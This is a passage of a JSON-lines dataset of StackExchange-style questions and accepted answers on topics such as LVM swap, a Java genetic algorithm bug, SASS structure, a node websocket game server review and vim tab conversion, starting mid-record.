/*        ** Handle Players Turn        */        mainBoard.NextTurn();    }    /*    ** Grab a random char so the     ** game doesn't immediately exit    */    getchar();}"  , "title": "Brief TicTacToe C++ example"  , "tags": "c++;tic tac toe"  } 
{  "id": "_unix.275963"  , "question": "When we make a swap using a regular physical drive, we just use fdisk and make a partition with type swap, using the swap code for that partition, followed by mkswap and swapon commands. But what if, in the case of lvm, we have to specify the partition type to be lvm using the lvm code, and then just make a pv, vg and lv, and then mkswap on that partition followed by swapon (please correct me if I am wrong).So my question is: why we don't need the partition to be of type swap in the lvm case; what is the logic behind this?"  , "title": "Making a swap partition using lvm"  , "tags": "partition;lvm;swap"  , "accepted_answer": "Linux pretty much ignores partition types, it cares more about the content on those partitions. So you don't need a swap partition type to use swap in Linux, and thus there is no issue with LVM not having partition types either. But you have to use the correct partition type to stop Windows from attempting to format your Linux data/swap partitions... it's also useful for humans to be able to tell what's what when just looking at the partition table."  } 
{  "id": "_scicomp.24300"  , "question": "I am trying to use a projection method that deals with the viscous effects implicitly to model flow around a cylinder. I'm having trouble figuring out what the boundary conditions should be, particularly on the inflow and outflow. I think we can consider the Stokes equations without loss of generality: $$ \\mathbf{u}_t = \\Delta \\mathbf{u} - \\nabla p $$$$ \\nabla \\cdot\\mathbf{u} = 0$$If we discretize explicitly in time (ignoring the pressure term) we get:$$ \\frac{\\mathbf{u}^{*} - \\mathbf{u}^n}{\\delta} = \\Delta\\mathbf{u}^{n}$$This leads to:$$ \\mathbf{u}^{n+1}=\\mathbf{u}^* - \\delta\\nabla p^{n+1}$$Taking the divergence of this equation yields the pressure Poisson equation. The boundary conditions can be found by dotting with the normal:$$\\nabla p^{n+1} \\cdot\\mathbf{n} = \\frac{(\\mathbf{u}^* - \\mathbf{u}^{n+1})}{\\delta}\\cdot\\mathbf{n}$$where $\\mathbf{u}^*\\cdot\\mathbf{n}$ can be computed and $\\mathbf{u}^{n+1}\\cdot\\mathbf{n}$ is given as a boundary condition.Now if we discretize implicitly in time we get:$$ \\frac{\\mathbf{u}^* - \\mathbf{u}^n}{\\delta} = \\Delta \\mathbf{u}^{*}$$This is the diffusion equation for $\\mathbf{u}^*$, and requires boundary conditions on $\\mathbf{u}^*$. The most obvious choice is setting $\\mathbf{u}^* = \\mathbf{u}^{n+1}$ on the boundary. However if we do that, for the pressure Poisson equation we end up with $\\nabla p\\cdot\\mathbf{n} = 0$ everywhere (even at the inflow and outflow). This seems incorrect to me.What should the correct boundary conditions on the pressure Poisson equation be in this case? "  , "title": "Implicit projection method with inflow boundary conditions"  , "tags": "fluid dynamics;projection"  , "accepted_answer": "tldr: Reformulate the projection and avoid the need for boundary conditions on the pressure.I think you are misinterpreting the projection scheme. In all formulations that I know, the pressure is never really computed.It rather goes like:Compute a tentative velocity $u^*$ approximating $u^{n+1}$Project $u^*$ onto the space of divergence-free functions to obtain $u^{n+1}$ by solving $$ \\begin{bmatrix} I & \\nabla \\\\ \\nabla \\cdot & 0 \\end{bmatrix}   \\begin{bmatrix} u^{n+1} \\\\ \\phi \\end{bmatrix} = \\begin{bmatrix} u^{*} \\\\ 0 \\end{bmatrix} $$Some remarks here:You may compute the $u^*$ as you suggest (setting $\\nabla p^{n+1}=0$). Typically, one rather uses a guess for the pressure gradient.In step 2. one computes the actual velocity, so that the given boundary conditions apply. However,The function $\\phi$ is not the pressure, so that it might be difficult to interprete boundary conditions that include the pressure (like Navier-conditions). There are ways to relate $\\phi$ to the pressure; cf., e.g. [1].Furthermore, the system in 2. can be brought into the Pressure Poisson Equation that you have. But at the expense of another spatial differentiation (taking the divergence) and the additional need of boundary conditions. If you want to really compute the pressure, you can use the relation to $\\phi$ (this is often sufficient for the next pressure gradient guess) or solve the actual Pressure Poisson Equation derived from your actual equation and when you have the velocity computed. There is some issues about the right boundary conditions, but also some good answers to that in [2].[1] P. M. Gresho. On the theory of semi-implicit projection methods for  viscous incompressible flow and its implementation via a finite element  method that also introduces a nearly consistent mass matrix. I: Theory.  Int. J. Numer. Methods Fluids, 11(5):587620, 1990.[2] P. M. Gresho and R. L. Sani. Incompressible flow and the finite element  method. Vol. 2: Isothermal laminar flow. Wiley, Chichester, UK, 2000."  } 
{  "id": "_codereview.129546"  , "question": "I am working on a genetic algorithm using the following code. The variable best in generateNewPopulation stores the best chromosomes from the previous generation and adds it without modification to the new generation. The problem is that if I allow crossover, the best changes it value to the best of the current generation.It prints different values of best just before and after crossover method. The code works fine without crossover, considering only mutation. Random rand = new Random(); int rand1,rand2,var; int numRuns=0; ArrayList<Pair> pop = new ArrayList<Pair>(); ArrayList<Pair> popClone = new ArrayList<Pair>(); boolean didRun=false;  //Initialize population    public void genPop (){   if(!didRun){  for(int j=0; j<12;j++){     StringBuffer x1 = new StringBuffer();   StringBuffer x2 = new StringBuffer(); for (int i=0; i<10;i++){    rand1 = rand.nextInt(4)%2;  rand2 = rand.nextInt(4)%2;  x1.append(rand1);  x2.append(rand2);}     Pair p = new Pair(x1,x2);    pop.add(p);    }          System.out.println(Initial Population is );        for(int i=0; i<pop.size();i++){        Pair b = pop.get(i);        System.out.print(b.getX() +   + b.getY() +  fitness value is  + decodedVal(b));        System.out.println();              }        didRun=true;       Pair best = getMax(pop);        System.out.println(best chromosome is  + best.getX() +   + best.getY() +  fitness  + decodedVal(best) );        System.out.println(Average fitness is  + getAverage(pop) + \\n);   }    generateNewPopulation(); }//For creating successive generationspublic void generateNewPopulation(){    numRuns++;    popClone.clear();    Pair best = getMax(pop);    popClone.add(0,best);    popClone.addAll(rouletteWheel(pop));     ArrayList<Pair> Clone = new ArrayList<Pair>(popClone);     popClone = crossover(popClone);  //Crossover of strings    //Mutation of strings    for(int k=0; k<6; k++){                         int randN = rand.nextInt(8)+1;        if(checkMutate()){            popClone.remove(randN);            popClone.add(mutate(Clone.get(randN)));          }    }     popClone.add(best);    pop.clear();    pop.addAll(popClone);     System.out.println(New Population Generated : No -  + numRuns );    for(int i=0; i<pop.size(); i++){       System.out.print(pop.get(i).getX() +   + pop.get(i).getY() + \\n);}    System.out.println(best chromosome is  + getMax(pop).getX() +   + getMax(pop).getY() +  fitness  +         decodedVal(getMax(pop)));System.out.println(Average fitness is  + getAverage(pop) + \\n);    }The roulette wheel selection that enters 11 chromosomes to new generation. Elitism adds one best from previous generation afterwards (which is not happening if I allow crossover). public ArrayList<Pair> rouletteWheel (ArrayList<Pair> p){     ArrayList<Pair> popClone1 = new ArrayList<Pair>();     double [][] values = new double[p.size()+1][4];     double sum=0;     double cumulative=0;     double rands;     values[0][0]=0;     values[0][1]=0;     values[0][2]=0; for(int i=0; i<p.size(); i++){values[i+1][0] = decodedVal(p.get(i));sum+= values[i+1][0];}for(int i=0; i<p.size(); i++){values[i+1][1] = (values[i+1][0]/sum);}for(int i=0; i<p.size(); i++){cumulative+= values[i+1][1];values[i+1][2] = cumulative;}label1: for(int i=0; i<(p.size()-2); i++){         rands = rand.nextDouble();for(int j=((values.length)-1); j>=0; j--){if(values[j][2]<= rands){    popClone1.add(p.get(j));    continue label1;}else;         }  }return popClone1;}Why is the best value changed after calling crossover? The crossover method isn't taking the chromosome pair at index no 0 still the value is getting altered and is set to the best of current generation.The method crossover is as follows:public ArrayList<Pair> crossover(ArrayList<Pair>p ){    int randNo1=1;    int randNo2=1;    for(int j=1; j<5; j++){           do{            randNo1 = rand.nextInt(8)+1;            randNo2 = rand.nextInt(8)+1;        } while(randNo1== randNo2);         int random = rand.nextInt(8)+1;         char swap;        for(int i=random; i<10; i++){            swap = p.get(randNo1).getX().charAt(i);            char y = p.get(randNo2).getX().charAt(i);            p.get(randNo1).getX().setCharAt(i,y);            p.get(randNo2).getX().setCharAt(i, swap);         }        for(int i=random; i<10; i++){            char swap2;            swap2 = p.get(randNo1).getY().charAt(i);            char y = p.get(randNo2).getY().charAt(i);            p.get(randNo1).getY().setCharAt(i, y);            p.get(randNo2).getY().setCharAt(i, swap2);         }       }    return p;}This is the mutation method: public Pair mutate(Pair p){         StringBuffer newParentX = new StringBuffer(10);     StringBuffer newParentY = new StringBuffer(10);     StringBuffer x = p.getX();     StringBuffer y = p.getY(); for(int i=0; i<10;i++){        int randNo = rand.nextInt(2);     char c = x.charAt(i);   if(randNo==1){    if(c=='0')     newParentX.append('1');   if(c=='1')     newParentX.append('0');   }  else     newParentX.append(x.charAt(i));  }    for(int i=0; i<10;i++){      int randNo = rand.nextInt(2);    char c = y.charAt(i); if(randNo==1){ if(c=='0')    newParentY.append('1'); if(c=='1')    newParentY.append('0');  }  else     newParentY.append(y.charAt(i));   }     Pair newPair = new Pair(newParentX, newParentY);     return newPair;      }This is getMax(), that returns the best chromosome of the population:public Pair getMax(ArrayList<Pair>p){         int maxIndex=0;  double fitnessValue;  double maxValue= decodedVal(p.get(maxIndex));  //decodedVal gets the  fitness value of corresponding chromosome    for(int i=0; i<p.size(); i++){    fitnessValue = decodedVal(p.get(i));    if(fitnessValue > maxValue){     maxValue=fitnessValue;      maxIndex=i;          }   else;     }     return p.get(maxIndex);     }This is the problem i am getting in the output.The best chromosome of previous generation is not added to new generation.New Population Generated : No - 150100111011 01100001010111001110 00100001010111001110 00100001010111001110 00100001011101110110 01101100100111001110 00100001010111001110 00100001011001001001 01100100000111000010 10011110100011001001 11111010011010011011 00100001010100111011 0110000101best chromosome is 0100111011 0110000101 fitness 0.6773401619818802Average fitness is 0.4868817692316813  New Population Generated : No - 160110011111 01100001011001101001 01100100000110011111 01100001010101001010 00100001010110011111 01100001010101001010 00100001010110011111 01100001010110011111 01100001010011100100 00011110011110011011 00010101000111110111 01100110100110011111 0110000101best chromosome is 0101001010 0010000101 fitness 0.6195407585437024Average fitness is 0.4824919712727356  "  , "title": "Genetic algorithm in Java"  , "tags": "java;genetic algorithm"  } 
{  "id": "_codereview.36647"  , "question": "I'm trying out a new approach to SASS stylesheets, which I'm hoping will make them more organizined, maintainable, and readable. I often feel like there is a thin line between code that is well structured and code that is entirely convoluted. I would appreciate any thoughts as to which side of the line this code falls. I don't want to tell you too much more about what these styles are intended to produce -- my hope is that the code will explain this for itself. Also note that this is part of a larger project, so don't worry about missing dependencies, etc.Questions for reviewHow would you make this code easier to read/maintain? Can you understand what these styles are trying to produce?Is the purpose of the mixins/placeholders clear?File structure:theme/sass/partials/    widget/        collapsable/            _appendicon.scss            _closeall.scss            _toggleswitch.scss        collapsable.scss        collapsablered.scss    _button.scsscollapsable.scss/** * Collapsable widget. * * The widget has open and closed states. * The widget has a Toggle Switch, which is visible in * both open and closed states. *    All other content is hidden in the closed state.*/@mixin setOpenState {  &,  &.state-open {    @content;  }}@mixin setClosedState {  &.state-closed {    @content;  }}@mixin setToggleSwitchStyles {  &>h1:first-child, .collapseableToggle {    @content;  }}@import collapsable/closeall;@import collapsable/appendicon;@import collapsable/toggleswitch;%collapsable {  @include setOpenState {    @include setToggleSwitchStyles {      @extend %toggleSwitch;    }  }  @include setClosedState {    @extend %closeAllExceptToggle;    @include setToggleSwitchStyles {      @extend %toggleSwitchClosed;    }  }}collapsablered.scss@import collapsable;@import ../button;%collapsableRed {  @extend %collapsable;  @include setOpenState {    @include setToggleSwitchStyles {      @extend %buttonWithRedBg;    }  }  @include setClosedState {    @include setToggleSwitchStyles {      @extend %buttonWithDarkBg;    }  }}collapsable/_closeall.scss%closeAllChildren {  * {    display: none;  }}%closeAllExceptToggle {  @extend %closeAllChildren;  @include setToggleSwitchStyles {    display: block;    .icon-sprite {      display: inline-block;    }  }}collapsable/_appendicon.scss@import compass/utilities/general/clearfix;@import ../../icon;@mixin appendIcon {  @include pie-clearfix;  .icon-sprite {    margin-right: 5px;    vertical-align: -3px;  }  &:after {    content: '';    position: relative;    top: 2px;    float: right;    @content;  }}%withCloseIcon {  @include appendIcon {    @extend .icon-close;   // defined in _icon.scss  }}%withOpenIcon {  @include appendIcon {    @extend .icon-rChevronDk;   // defined in _icon.scss    top: 1px;  }}collapsable/_toggleswitch.scss%toggleSwitch {  cursor: pointer;  @extend %withCloseIcon;}%toggleSwitchClosed {  @extend %toggleSwitch;  @extend %withOpenIcon;}partials/_button.scss@import typography;%buttonWithRedBg {  @extend %textOnRedBg;  // defined in _typography.scss  cursor: pointer;  &:hover {    background-color: $redDk;  }  &:active {    background-color: $black;  }}%buttonWithDarkBg {  @extend %textOnDarkBg;  // defined in _typography.scss  cursor: pointer;  &:hover {    background-color: #000;  }  &:active {    background-color: $redDk;  }}"  , "title": "SASS Code Structure / Readability"  , "tags": "css;sass"  , "accepted_answer": "Overall, your naming conventions are pretty good.  I don't feel like I need to go look at mixins themselves to figure out what their purpose is.  The extensive use of extends does concern me, since it can lead to larger CSS rather than smaller like you might expect (see: Mixin, @extend or (silent) class?).Your %textOnDarkBg and %textOnRedBg extend classes might be redundant.  If you're not already using Compass, you might want to take a look at it.  It offers a function as well as a mixin for setting a good contrasting color against your desired background color (see: http://compass-style.org/reference/compass/utilities/color/contrast/).  Highly useful if your project is intended to be themed.Generally speaking, using colors for class names isn't very clear unless the content is about color (eg. a color wheel or a rainbow).  What is red for?  Is it for errors?  Or maybe a call to action?  The same thing goes for dark.  Using inverted or closed might be better choices.  If the site's design is already dark, a dark button probably doesn't make much sense.Your code only allows the user to have exactly 2 colors (default and red), which seems more limited than it needs to be.  You could easily make it very flexible by making use of lists (or maps, which will be in the next version of Sass).  Here's an example from my own project://      name     dark    light$dialog-help:    #2E3192 #B9C2E1 !default; // purple$dialog-info:    #005FB4 #BDE5F8 !default; // blue$dialog-success: #6F7D03 #DFE5B0 !default; // green$dialog-warning: #A0410D #EFBBA0 !default; // orange$dialog-error:   #C41616 #F8AAAA !default; // red$dialog-attributes:    ( help    nth($dialog-help, 1) nth($dialog-help, 2)    , info    nth($dialog-info, 1) nth($dialog-info, 2)    , success nth($dialog-success, 1) nth($dialog-success, 2)    , warning nth($dialog-warning, 1) nth($dialog-warning, 2)    , error   nth($dialog-error, 1) nth($dialog-error, 2)    ) !default;@each $a in $dialog-attributes {    $name: nth($a, 1);    $color: nth($a, 2);    $bg: nth($a, 3);    %dialog-colors.#{$name} {        color: $color;        background-color: $bg;    }    %dialog-colors-inverted.#{$name} {        color: $bg;        background-color: $color;    }    %badge-colors.#{$name} {        background-color: $color;        color: $background-color;    }    %button-colors.#{$name} {        @include button($base: $bg) {            @include button-text($color, inset);            @include button-states;        }    }    %button-colors-inverted.#{$name} {        @include button($base: $color) {            @include button-text($bg, inset);            @include button-states;        }    }    %button-colors-faded.#{$name} {        @include button($base: fade($bg, 10%)) {            color: #CCC;            @include button-states;        }    }}In case you're wondering why I'm using multiple classes, I've setup a short demo:  http://sassmeister.com/gist/7792677"  } 
{  "id": "_unix.278496"  , "question": "I am writing a script which accepts two arguments:#! /bin/basheval  for i in {$1..$2}; do echo $i;  doneI run it like:$ ./myscript 0002 0010 syntax error near unexpected token `do'Why is the error?I though it might be because the looping should be grouped. But by replacing eval  for i in {$1..$2}; do echo $i;  done with eval { for i in {$1..$2}; do echo $i;  done; }, the error remains.Note: I hope to perform parameter expansion before brace expansion by using eval. The desired output of my example is 0002 0003 0004 0005 0006 0007 0008 0009 0010. (See Perform parameter expansion before brace expansion?)"  , "title": "Error when eval a for-loop"  , "tags": "bash;shell;eval"  } 
{  "id": "_codereview.137994"  , "question": "This code is a server for websocket connections, it handles the low level stuff and delegates incoming messages to handler objects. I wanted performance to win in any trade off against maintenance costs or readability, but security should be as good as possible without becoming unfit for purpose.It works and I'm using it for a multiplayer shooter which is near finished, but I wanted to get a second opinion on its quality, as it is a core element of the network infrastructure of the game.I wanted it to be robust enough that bad input from a client won't allow the server to be crashed, and that bad code within handler objects is also unable to crash the server (its OK if those objects crash but this code should run indefinitely).It has to handle errors internally so that one bad actor doesn't bring down the server for everybody else - a delay of even a few milliseconds while the server recovers from bad input would reduce the user experience on the client. If a client sends bad input it should experience a silent failure.It also needs to compress its output to reduce traffic, so I chose a library to handle this, and it shouldn't (in theory) be possible to inject code via JSON as I've used the node library json-safe-parseuse strict;var websocket = { Server : require(websocket).server};var http = require(http);var jsonSafeParse = require(json-safe-parse);var lz_string = require(lz-string);/** * @class server.Server * @desc Game server, handles client connections and disconnections and delegates events to any message handlers it is given * @param {Number} port the port to run from */function Server(port) {  var THIS = this; this.port = port; // list of currently connected clients (users) this.clients = {};  // array of objects which will respond to messages from clients this.messageHandlers = [];  // build HTTP server this.server = http.createServer(); this.server.listen(this.port, function() {     console.log((new Date()) +  Server is listening on port  + THIS.port); });  // build websocket server, which is attached to the HTTP server this.wsServer = new websocket.Server({httpServer: this.server});  // connect the server callbacks to this object this.__connectCallbacks();}/** * @method Server#getClients * @desc get the clients on this server * @returns {Object} a hash of the clients */Server.prototype.getClients = function(){ return this.clients;};/** * @method Server#getClient * @desc Get the client with the given ID, or null if none exists * @param {String} clientId * @returns {Client|null} client if one is found, null otherwise */Server.prototype.getClient = function(clientId) {  // return null if no client was found if (!this.clients.hasOwnProperty(clientId)) {  return null; }  // if it was found, we can return the client return this.clients[clientId];};/** * @method Server#addMessageHandler * @desc Add a message handler - this object will be called when messages come through that the server doesnt handle internally * @param {Object} handler the handler object  */Server.prototype.addMessageHandler = function(handler){  // guarantee that its not already attached for (var i = 0; i < this.messageHandlers.length; i++) {  if (this.messageHandlers[i] == handler) {   return;  } } this.messageHandlers.push(handler);};/** * @method Server#serialize * @desc take this object and turn it into a string for transportation using lzw compression * @param  {Object} object the object to be serialized, be sure it doesn't contain cycles * @return {String} a serialized string */Server.prototype.serialize = function(object) { var json = JSON.stringify(object); var lz = lz_string.compressToUTF16(json); return lz;};/** * @method Server#sendMessages * @desc Send a message * @param {Client|String} client who to send it to - either their ID or the actual client * @param {String} type message type * @param {Object} params object of all the parameters */Server.prototype.sendMessage = function(client, type, params) { if( typeof(client) == typeof ( )) {  client = this.getClient(client); }  var message = {  type : type,  params : params }; // encode as a string, utf format client.connection.sendUTF(this.serialize(message));};/** * @method Server#broadcastMessage * @desc Broadcast the given message to all clients * @param {String} type the type of message * @param {Object} params the parameters of the message */Server.prototype.broadcastMessage = function(type, params) { // send a message to each client for (var send_k in this.clients) {  if (this.clients.hasOwnProperty(send_k)) {   this.sendMessage(this.clients[send_k], type, params);  } }};// Hook up all the callbacks that the server will requireServer.prototype.__connectCallbacks = function() { var THIS = this; this.wsServer.on('request', function(request) {  return THIS.addNewClient(request); });};/** * @method Server#handleAuthentication * @desc handle an authentication message on the given client * @param client the client * @param params the parameters of auth message */Server.prototype.handleAuthentication = function(client, params) { // if they are already authenticated, ignore this if (client.authenticated) {  return; } // the server then has to check the database to ensure the client was registered client.authenticated = true; // give a new nick client.nickname = params.requested_name + Math.round(Math.random() * 255); // now that they've authenticated, make the client permanent this.clients[client.clientId] = client; // send back the accepted string along with their new nickname, which may be different than what they wanted console.log(Connection accepted for client  + client.clientId); // send the client's details, include times to allow the client to synchronise with the server var connectionAcceptedParams = {  clientId  : client.clientId,  nickname  : client.nickname,  lastTime    : client.lastTime,  currentTime : client.currentTime }; // send this.sendMessage(client, 'CONNECTION_ACCEPTED', connectionAcceptedParams);  // now delegate to message handlers for ( var i = 0; i < this.messageHandlers.length; i++) {  try {   this.messageHandlers[i].handleClientAuthentication(client);  } catch(err) {   console.error(err);   console.error(err.stack);  } }};/** * @method Server#handleNetworkMessage *  @desc handle messages (other than authentication, which is seperate) on the given client *  @param client the client the message came from *  @param messageType the type of message *  @param params the paramaters of the message */Server.prototype.handleNetworkMessage = function(client, messageType, params) { // until they are authenticated, ignore other types of message - silently fail if (!client.authenticated) {  return; } // update the client's last seen time client.lastSeenTime = Date.now(); // response to ping includes the given send time, so the client can judge latency if (messageType === PING) {  this.sendMessage(client, ACK, {sendTime : params.sendTime}); } // now delegate to message handlers for ( var i = 0; i < this.messageHandlers.length; i++) {  try {   this.messageHandlers[i].handleNetworkMessage(client, messageType, params);  } catch(err) {   console.error(err);   console.error(err.stack);  } }};/** * @method Server#onMessage * @desc called when Recieved a message from a client * @param client the client it came from * @param message the contents of the message */Server.prototype.onMessage = function(client, message) { // as far as the client is concerned, silently fail if the server had an error try {  // accept only utf8  // silently fail from the client's perspecive  if (message.type !== 'utf8') {    return;  }  // safely parse the json - this library restricts certain things which may allow code injections  message = jsonSafeParse(message.utf8Data);  // make message types case insensitive  var messageType   = message.type.toUpperCase();  var messageParams = message.params;   // specific type of message which the server will always handle itself, without delegating the handshaking  if (messageType === CONNECTION_REQUEST) {   this.handleAuthentication(client, messageParams);  // for all other messages, process normally  } else {   // now route the message through this function   this.handleNetworkMessage(client, messageType, messageParams);  } } catch(err) {  console.error(err);  console.error(err.stack);  return; }};/** * @method Server#closeConnection * @desc CLose the connection to the given client * @param client the client to disconnect */Server.prototype.closeConnection = function(client) {    if (client.authenticated) {     console.log(Disconnecting client  + client.clientId);       // now delegate to message handlers - all messages except authentication may be passed down to clients  for ( var i = 0; i < this.messageHandlers.length; i++) {   try {    this.messageHandlers[i].handleClientDisconnect(client);   } catch(err) {    console.error(err);    console.error(err.stack);   }  }    this.broadcastMessage(CLIENT_DISCONNECT, {clientId : client.clientId});          // remove user from the list of connected clients        delete this.clients[client.clientId];    }};/** * Called when a new client connects  * @param request the data from the remote websocket */Server.prototype.addNewClient = function(request) { var THIS = this; // get a new client ID var time = new Date().getTime(); var clientId = (Math.random() * Math.pow(2, 32)) + _ + time % 1000; // accept connection    var connection = request.accept(null, request.origin);     // build the initial client object var client = {  clientId      : clientId,  nickname      : anonymous,  authenticated : false,  connection    : connection,  lastTime      : Date.now(),  currentTime   : Date.now(),    lastSeenTime : Date.now() }; // when a message is received, delegate to this function connection.on('message', function(message) {  return THIS.onMessage(client, message); }); // when connection is closed, delegate to this function connection.on('close', function() {  return THIS.closeConnection(client); });};// export public stuffexports.Server = Server;"  , "title": "Robust websocket server for use by a game running on node"  , "tags": "javascript;game;node.js;networking;websocket"  , "accepted_answer": "A bunch of small things:In .addNewClient(), you can change this:var time = new Date().getTime();to this:var time = Date.now();Then, later in that same function you can use that value rather than calling Date.now() three more times.In .sendMessage(), you can change this:if( typeof(client) == typeof ( ))to this:if( typeof(client) === string)You should avoid assigning to named argument variables like you are doing in .sendMessage() because this prevents some JS optimizations.When coining your clientID, you don't need to multiply at all (you said you cared about performance).  You can just leave the random number in decimal form.  You're just trying to have a random string so it's no big deal if you have a decimal point in it.  If you really don't want a decimal, then you could just remove the decimal with a string replace rather than multiply.  Also, why time % 1000?  Why not just time (it's more unique without the %)?So, you can change this:var clientId = (Math.random() * Math.pow(2, 32)) + _ + time % 1000;to this:var clientId = Math.random() + _ + time;Your this.clients object would be simpler if it was a Map object because you can avoid all the hasOwnProperty() stuff and just use Map methods like .has(), .delete(), etc...  It also has built in .forEach() iterator instead of your manual iteration.On your .closeConnection() method, you are only removing the client from the this.clients data structure if client.authentication is already true.  I know it's supposed to be the case that those two operations are innately tied together, but why not remove it from this.clients no matter what?  You don't want any chance of a memory leak here and it's not like some random attacker can send an unauthenticated message using your client object.  The client object is uniquely associated with the socket.Change == to ===.In .addMessageHandler(), why don't you use .indexOf() to see if a handler is already in the array rather than do your own from scratch iteration?Bigger things to check on:Is your webSocket library safe from malformed packets?Is your webSocket library safe from DOS attacks with giant messages?Do you need rate limiting per connection to be safe from DOS attacks from a single connection?Do you know what happens if a client connection just silently disappears without an orderly TCP shut-down.  Will your server eventually close the socket and remove the client object?  Or do you need to check for inactive connections/clients and get rid of them?What happens if a single client who passes authentication, connects a zillion times?I don't understand your authentication step.  The code you show doesn't actually do any authentication so the client gets into the this.clients map without passing anything and then you call some message handlers for authentication, but they don't have any return value to actually indicate failure."  } 
{  "id": "_unix.151325"  , "question": "When I open my .java file in vim, I could see a couple of lines prefixed with one / more ^I characters. It looks like tabs in Eclipse that has got converted into ^I.I would like to replace a single ^I into spaces with 4 characters.E.g^I^I^I^IList<History> rulePackagesHistory = result.getHistory();How can do that in vim editor?"  , "title": "How can I replace ^I into tab spaces in vim editor for .java file?"  , "tags": "sed;vim;ed"  , "accepted_answer": "Add these lines to your .vimrc:set tabstop=4set shiftwidth=4set expandtabAfter that, each new tab character entered will be changed to 4 spaces, old tabs don't. You must type::retabThis will convert all existing tabs in files to spaces.If you don't want to use retab, you can use perl to replace each tab by 4 spaces:perl -i.bak -pe 's/\\t/    /g' file"  } 
{  "id": "_unix.215670"  , "question": "Code and outputsapt-cache search adduseradduser - add and remove users and groups$ sudo apt-get install adduserReading package lists... DoneBuilding dependency tree       Reading state information... Doneadduser is already the newest version.0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.$ addadd-apt-repository  addpart             addr2line           $ which adduser$ echo $PATH/home/masi/bin:/sbin/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gameswhich I do not understand since it says that I have adduser but it is not in the PATH although I have most bin folders. There must be other location where adduser is added in Debian 8.1. Where is adduser installed in Debian 8.1?"  , "title": "Where does Debian 8.1 install adduser?"  , "tags": "debian;software installation;path"  , "accepted_answer": "When I'm looking for a tool I first look to see if it is in my PATH.    type adduser    bash: type: adduser: not foundIf it is not found then I'll use apropos    apropos adduser    add.user.conf (5) - configuration file for adduser (8) and addgroup (8) .    adduser (8)       - add a user or group to the systemSection 8 is System administration commands and daemons. So, I would look in /sbin or /usr/sbin. /sbin and /usr/sbin are left out of a normal user's PATH for security and many of those commands require root privileges to run. Both are added to your path by /etc/sudoers when you preference a command with sudo."  } 
{  "id": "_cstheory.27234"  , "question": "Let $S=s_1,\\ldots,s_n$ be a sequence and $p$ be a permutation on the indices of $S$ such that $p$ sorts $S$.Define a sequence to be locally sorted with degree $k$ if $\\forall s_i \\in S |p(i) - i | \\leq k$. How many locally sorted sequences of degree $k$ are there for $n$ elements? Hopefully, there will be a better approach than enumerate all possible sequences and check each one.I wasn't sure how to approach this problem, so I tried proofing results for various values of $k$. I solved this for $k=1$; it's just a Fibonacci sequence. $k=2$ is a lot more difficult to me. I keep overcounting.For handiness, here's some Python code to use when checking results:from itertools import permutationsdef check(seq, k):    for i in range(0, len(seq)):        index = i+1        if abs(seq[i] - index) > k: return False    return Truen = 5k = 2orig = [ i+1 for i in range(0,n) ] # easier if we use sequences of integerscheck_count = 0for perm in permutations(orig):    if check(perm,k):        check_count += 1print(check_count)"  , "title": "Locally sorted sequences"  , "tags": "ds.algorithms;sorting;dynamic programming"  , "accepted_answer": "Your problem is solved in the paper Spheres of Permutations under theInfinity Norm — Permutations with limited displacement by Torleiv Klve.See also A002524 and other sequences linked there. I found Klve's paper by calculating the first few values of A002524 and finding it on the OEIS."  } 
{  "id": "_cs.53402"  , "question": "Why ternary computers like Setun didn't become popular despite being cheaper and more reliable than binary computers, and also having important computational advantages? We could have had cheaper computers for everyone.Edit: The answers to question about binary system do not resolve my question, since Setun, as I understand it, was based on some sort of binary circuit which used 2-bit combinations to represent the three values, the fourth combination wasn't used. Thus an argument about non-binary circuits being non-reliable doesn't apply to Setun."  , "title": "Why ternary computers like Setun didn't catch on?"  , "tags": "computer architecture"  } 
{  "id": "_unix.109110"  , "question": "I am on Os X and I am rsyncing from a ext3 volume (that I read with osxfuse 2.6.2) to a HFS+ volume. The data I am backupping are ~ 500GB. Sometimes rsync gives the following message:file has vanished: '/path/to/file'if I check the file path I find that the file is listed there but then no such file or directory. I would think this is a problem of osxfuse. Sometimes if I run rsync again some more files are transferred, but I always get the same warning regarding other files. I would think my backup is incomplete, how can I solve this?"  , "title": "rsyncing from ext3 on mac: file has vanished"  , "tags": "osx;rsync;fuse;hfs+"  } 
{  "id": "_softwareengineering.112642"  , "question": "It's possible to publish daily updates for your application on Google's Android Market, but I have an assumption that users don't like to get frequent updates. How can I determine when I should publish updates? Is there an optimum interval to balance between delivering new features and bug fixes while not upsetting my user base?"  , "title": "What frequency of updates is acceptable for a mobile application?"  , "tags": "software updates"  , "accepted_answer": "While there can't some general best frequency for updates, here are some factors that you should look at when making your decision:Severity of the update. Fixes for critical bugs and security vulnerabilities should of course be pushed out as soon as possible. But if you only have minor changes, you might want to wait until you collected a few of those. User expectations. If the users expect updates bringing major enhancements, you might not want to push the same kind of update just to fix a typo. :-)Ease of applying the update. If the update applies itself in the background without needing any user interaction, I doubt anybody would mind frequent updates. If OTOH applying an update requires several interaction steps by the user, thus interrupting his workflow, frequent updates are quite annoying. E.g. almost every time I use NeoOffice, it tells me there is a new version available. But I would have to download and install it manually, taking me away from my original task. So I rarely updated, but was still annoyed every time.Likelihood to break something else with the update. If there are external plugins/extensions/whatever depending on you application, they should be aware and be able to depend on your update schedule. They also should have enough time to adjust to the changes you made before the update is applied. E.g. when Firefox recently changed to a more rapid update cycle, it broke many of the less-maintained extensions, because the developers couldn't keep up with the rapidly changing version numbers.Dependence on external factors/libraries/APIs/.... If the update depends on changes of external libraries, APIs, or (as Manfred Moser said) a server side application, you'll have to wait until those are finished."  } 
{  "id": "_unix.139880"  , "question": "I'm currently in an environment with two wireless networks: OrganizationFoo, which is present pretty much everywhere I go, and OrganizationFooSubset, which is only present in a certain location.When possible, I'd like to connect to OrganizationFooSubset because it's a faster, more reliable network. If this is out of range, I'd like to connect to OrganizationFoo.How can I configure this from within Linux Mint 17 Cinnamon (64-bit)?I've found the network connections configuration dialog, but there are no Move Up or Move Down buttons, and drag-and-drop has no effect. In the actual /etc/NetworkManager/system-connections/ directory, each connection gets its own file, and I don't see a master list where I could reorder them.Thoughts?"  , "title": "How do I set the preferred wireless network in Linux Mint 17?"  , "tags": "networking;linux mint;wifi"  } 
{  "id": "_unix.131622"  , "question": "I need to recursively find all files that contain a specific word and if the word exists in file I need to find out the number of lines in that file. I have been trying to use grep but I have been not successful so far. "  , "title": "Finding all files containing a word and then counting the number of lines"  , "tags": "bash;text processing"  } 
